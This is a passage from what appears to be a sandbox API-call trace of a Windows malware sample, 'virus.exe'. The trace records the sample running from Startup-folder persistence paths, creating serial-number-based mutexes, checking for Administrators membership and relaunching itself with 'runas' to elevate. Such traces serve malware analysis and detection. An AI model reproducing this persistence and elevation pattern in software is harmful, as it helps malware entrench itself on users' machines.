AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0x598 [0157.260] GetProcessHeap () returned 0x270000 [0157.261] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x30) returned 0x281a60 [0157.261] GetProcessHeap () returned 0x270000 [0157.261] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x3400) returned 0x286510 [0157.382] GetProcessHeap () returned 0x270000 [0157.382] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x300) returned 0x289918 [0157.383] GetProcessHeap () returned 0x270000 [0157.383] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x10) returned 0x281888 [0157.383] GetTickCount () returned 0x1133949 [0157.383] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x14fc10, cchData=32 | out: lpLCData="\x03") returned 16 [0157.384] GetProcessHeap () returned 0x270000 [0157.384] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20) returned 0x283dc8 [0157.384] GetProcessHeap () returned 0x270000 [0157.384] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20a) returned 0x289c58 [0157.384] GetProcessHeap () returned 0x270000 [0157.384] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20a) returned 0x289e70 [0157.384] GetProcessHeap () returned 0x270000 [0157.384] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20a) returned 0x28a088 [0157.384] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28a088, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x89 [0157.384] GetProcessHeap () returned 0x270000 [0157.384] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28a088 | out: hHeap=0x270000) returned 1 [0157.384] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.385] GetProcessHeap () returned 0x270000 [0157.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c58 | out: hHeap=0x270000) returned 1 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289e70 | out: hHeap=0x270000) returned 1 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283dc8 | out: hHeap=0x270000) returned 1 [0157.385] GetVersion () returned 0x1db10106 [0157.385] GetCurrentProcess () returned 0xffffffff [0157.385] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x14fba4 | out: TokenHandle=0x14fba4*=0xa0) returned 1 [0157.385] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x14fb9c, TokenInformationLength=0x4, ReturnLength=0x14fba0 | out: TokenInformation=0x14fb9c, ReturnLength=0x14fba0) returned 1 [0157.385] CloseHandle (hObject=0xa0) returned 1 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20) returned 0x283dc8 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20a) returned 0x289c58 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20a) returned 0x289e70 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c58 | out: hHeap=0x270000) returned 1 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289e70 | out: hHeap=0x270000) returned 1 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20) returned 0x283e18 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x283e40 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1e) returned 0x283e68 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x90) returned 0x289c58 [0157.385] GetProcessHeap () returned 0x270000 [0157.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c58 | out: hHeap=0x270000) returned 1 [0157.386] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x283e40, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283e68 | out: hHeap=0x270000) returned 1 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283e18 | out: hHeap=0x270000) returned 1 [0157.386] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fb5c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fb5c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283e40 | out: hHeap=0x270000) returned 1 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x30) returned 0x289c58 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x289c90 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289c90, Size=0x52) returned 0x289c90 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c58 | out: hHeap=0x270000) returned 1 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c90 | out: hHeap=0x270000) returned 1 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1c) returned 0x283e40 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1c) returned 0x283e68 [0157.386] GetProcessHeap () returned 0x270000 [0157.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20) returned 0x289c70 [0157.386] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x289c98 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1e) returned 0x289cc0 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x90) returned 0x28a458 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28a458 | out: hHeap=0x270000) returned 1 [0157.387] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x289c98, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289cc0 | out: hHeap=0x270000) returned 1 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c70 | out: hHeap=0x270000) returned 1 [0157.387] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fb44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fb44*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c98 | out: hHeap=0x270000) returned 1 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x40) returned 0x2841a0 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3a) returned 0x2841e8 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x2841e8, Size=0x72) returned 0x27f948 [0157.387] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0157.387] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0157.387] CloseHandle (hObject=0xa0) returned 1 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2841a0 | out: hHeap=0x270000) returned 1 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x27f948 | out: hHeap=0x270000) returned 1 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20) returned 0x289c70 [0157.387] GetProcessHeap () returned 0x270000 [0157.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x289c98 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1e) returned 0x289cc0 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x90) returned 0x28a458 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28a458 | out: hHeap=0x270000) returned 1 [0157.388] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x289c98, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289cc0 | out: hHeap=0x270000) returned 1 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c70 | out: hHeap=0x270000) returned 1 [0157.388] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fb2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fb2c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c98 | out: hHeap=0x270000) returned 1 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x40) returned 0x2841a0 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3a) returned 0x2841e8 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x2841e8, Size=0x72) returned 0x27f948 [0157.388] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0157.388] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0157.388] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2841a0 | out: hHeap=0x270000) returned 1 [0157.388] GetProcessHeap () returned 0x270000 [0157.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x27f948 | out: hHeap=0x270000) returned 1 [0157.389] ReleaseMutex (hMutex=0xa0) returned 1 [0157.389] CloseHandle (hObject=0xa0) returned 1 [0157.389] GetVersion () returned 0x1db10106 [0157.389] GetProcessHeap () returned 0x270000 [0157.389] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x10) returned 0x2818a0 [0157.389] GetProcessHeap () returned 0x270000 [0157.389] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20a) returned 0x28a458 [0157.389] GetCurrentProcess () returned 0xffffffff [0157.389] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x14fb6c | out: TokenHandle=0x14fb6c*=0xa0) returned 1 [0157.389] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x14fb84 | out: TokenInformation=0x0, ReturnLength=0x14fb84) returned 0 [0157.389] GetProcessHeap () returned 0x270000 [0157.389] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x118) returned 0x28a670 [0157.389] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x28a670, TokenInformationLength=0x118, ReturnLength=0x14fb84 | out: TokenInformation=0x28a670, ReturnLength=0x14fb84) returned 1 [0157.389] AllocateAndInitializeSid (in: pIdentifierAuthority=0x14fb78, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x14fb80 | out: pSid=0x14fb80*=0x2818b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0157.389] EqualSid (pSid1=0x2818b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28a6d4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0157.389] EqualSid (pSid1=0x2818b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28a6f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0157.389] EqualSid (pSid1=0x2818b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28a6fc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0157.389] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x28a6fc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0x14f750, cchName=0x14fb84, ReferencedDomainName=0x14f95c, cchReferencedDomainName=0x14fb84, peUse=0x14fb68 | out: Name="Administrators", cchName=0x14fb84, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0x14fb84, peUse=0x14fb68) returned 1 [0157.435] GetProcessHeap () returned 0x270000 [0157.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28a670 | out: hHeap=0x270000) returned 1 [0157.435] GetProcessHeap () returned 0x270000 [0157.435] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x50) returned 0x28a670 [0157.435] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0157.435] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0157.435] Wow64DisableWow64FsRedirection (in: OldValue=0x14fba0 | out: OldValue=0x14fba0*=0x0) returned 1 [0157.435] GetProcessHeap () returned 0x270000 [0157.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28a670 | out: hHeap=0x270000) returned 1 [0157.436] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28a458, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x89 [0157.436] ShellExecuteExW (in: pExecInfo=0x14fb44*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x14fb44*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0198.891] GetProcessHeap () returned 0x270000 [0198.891] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x50) returned 0x2ceb50 [0198.892] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0198.892] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0198.892] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2ceb50 | out: hHeap=0x270000) returned 1 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28a458 | out: hHeap=0x270000) returned 1 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2818a0 | out: hHeap=0x270000) returned 1 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20) returned 0x2add30 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x2add58 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1e) returned 0x2addf8 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x90) returned 0x29f710 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x29f710 | out: hHeap=0x270000) returned 1 [0198.892] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2add58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.892] GetProcessHeap () returned 0x270000 [0198.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2addf8 | out: hHeap=0x270000) returned 1 [0198.892] GetProcessHeap () returned 0x270000 [0198.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2add30 | out: hHeap=0x270000) returned 1 [0198.893] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fb2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fb2c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.893] GetProcessHeap () returned 0x270000 [0198.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2add58 | out: hHeap=0x270000) returned 1 [0198.893] GetProcessHeap () returned 0x270000 [0198.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x40) returned 0x284668 [0198.893] GetProcessHeap () returned 0x270000 [0198.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3a) returned 0x2846f8 [0198.893] GetProcessHeap () returned 0x270000 [0198.893] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x2846f8, Size=0x72) returned 0x280648 [0198.893] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1ec [0198.893] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0198.893] CloseHandle (hObject=0x1ec) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284668 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x280648 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283e40 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283e68 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x283dc8 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x281888 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289918 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286510 | out: hHeap=0x270000) returned 1 [0198.894] GetProcessHeap () returned 0x270000 [0198.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x281a60 | out: hHeap=0x270000) returned 1 [0198.894] ExitProcess (uExitCode=0x0) Thread: id = 49 os_tid = 0x6c0 Thread: id = 52 os_tid = 0x6e8 Thread: id = 54 os_tid = 0x6f0 Process: id = "10" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0x9cfe000" os_pid = "0x59c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x480" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 47 os_tid = 0x5a0 [0156.580] GetProcessHeap () returned 0x6a0000 [0156.580] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6b1b60 [0156.580] GetProcessHeap () returned 0x6a0000 [0156.580] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3400) returned 0x6b6698 [0156.738] GetProcessHeap () returned 0x6a0000 [0156.738] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x300) returned 0x6b9aa0 [0156.738] GetProcessHeap () returned 0x6a0000 [0156.738] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b1988 [0156.738] GetTickCount () returned 0x11336ca [0156.738] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x41fba8, cchData=32 | out: lpLCData="\x03") returned 16 [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b3f00 [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6b9de0 [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6b9ff8 [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6ba210 [0156.740] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6ba210, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba210 | out: hHeap=0x6a0000) returned 1 [0156.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9de0 | out: hHeap=0x6a0000) returned 1 [0156.740] GetProcessHeap () returned 